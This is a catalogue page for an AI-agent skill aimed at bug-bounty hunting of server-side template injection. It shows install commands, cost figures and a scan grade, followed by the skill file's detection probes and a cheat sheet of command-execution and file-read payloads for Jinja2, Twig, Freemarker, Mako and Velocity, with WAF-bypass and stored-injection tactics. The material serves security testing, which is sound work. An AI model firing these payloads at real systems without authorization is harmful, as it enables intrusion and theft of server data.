A security-testing guide for server-side template injection, where user input is interpreted as template code on a server. It lists checks for detecting the issue and examples for testing several template systems.

Use it to test template parameters, email templates, expression formats, file access, and possible command execution after confirmation.

It helps determine whether input can be executed or used to read data through a template engine.

ssti — Skill for Claude Code and Codex by sanjaysaini1952

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add sanjaysaini1952/BugBounty-Arsenal --skill ssti

Clone the repo

git clone --depth 1 https://github.com/sanjaysaini1952/BugBounty-Arsenal

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/ssti/github.svg)](https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/ssti)

Your own site

<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/ssti"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/ssti/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/ssti"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 655 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00000	$0.00655
Opus 5	$0.00000	$0.00328
Sonnet 5	$0.00000	$0.00131
Haiku 4.5	$0.00000	$0.00065

Measured 12d ago against content hash 7cf32ce9c2e7, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

ssti scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/hunting/ssti/SKILL.md · 50 lines

How it starts

The opening of the file, as written. The whole thing — 50 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SSTI Hunting Skill — 8 Test Cases

Load when: SSTI, server-side template injection, template escape, expression language injection.

126. Basic SSTI detection (easy)

Send {{7*7}} in every parameter. If response contains 49, SSTI is confirmed. Also test ${7*7}, <%= 7*7 %>, #{7*7}.

127. SSTI to RCE in Jinja2 (medium)

Once SSTI confirmed in Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

128. SSTI to RCE in Twig (medium)

In Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

129. SSTI to RCE in Freemarker (medium)

In Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

130. SSTI to file read (easy)

Jinja2: {{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}} Freemarker: {"__import__("os").popen("id").read()}

131. SSTI with WAF bypass (hard)

If common patterns are blocked: {{''.__class__.__mro__[2].__subclasses__()}} to enumerate classes, then pick one with os.popen.

132. SSTI via email template (hard)

If app renders email templates with user input, inject SSTI payload into subject/body and wait for admin to trigger email send.

133. SSTI in log messages (hard)

If user input is logged and later rendered in admin templates via SSTI, inject payload into user-agent, request path, or error messages.

Template Engine Detection

Test Payload	Engine
`{{7*7}}`	Jinja2, Twig, Mako, Nunjucks
`${7*7}`	FreeMarker, Velocity
`<%= 7*7 %>`	ERB, EJS
`#{7*7}`	Ruby ERB
`{77}`	Pug/Jade
`@{7*7}`	Play Framework

SSTI → RCE Cheat Sheet

Engine	RCE Payload
Jinja2	`{{config.__class__.__init__.__globals__['os'].popen('id').read()}}`
Twig	`{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
Freemarker	`<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`
Mako	`<% import os; x=os.popen('id').read() %>${x}`
Velocity	`$class.inspect("java.lang.Runtime").getRuntime().exec('id')`

Read the full file on GitHub · 50 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

12d ago First seen · 50 lines · 0 tokens per session scan A 7cf32ce9c2e7

Subscribe to this mod's changes

ssti is a skill published in the GitHub repository sanjaysaini1952/BugBounty-Arsenal (2 stars, last pushed 1mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 655 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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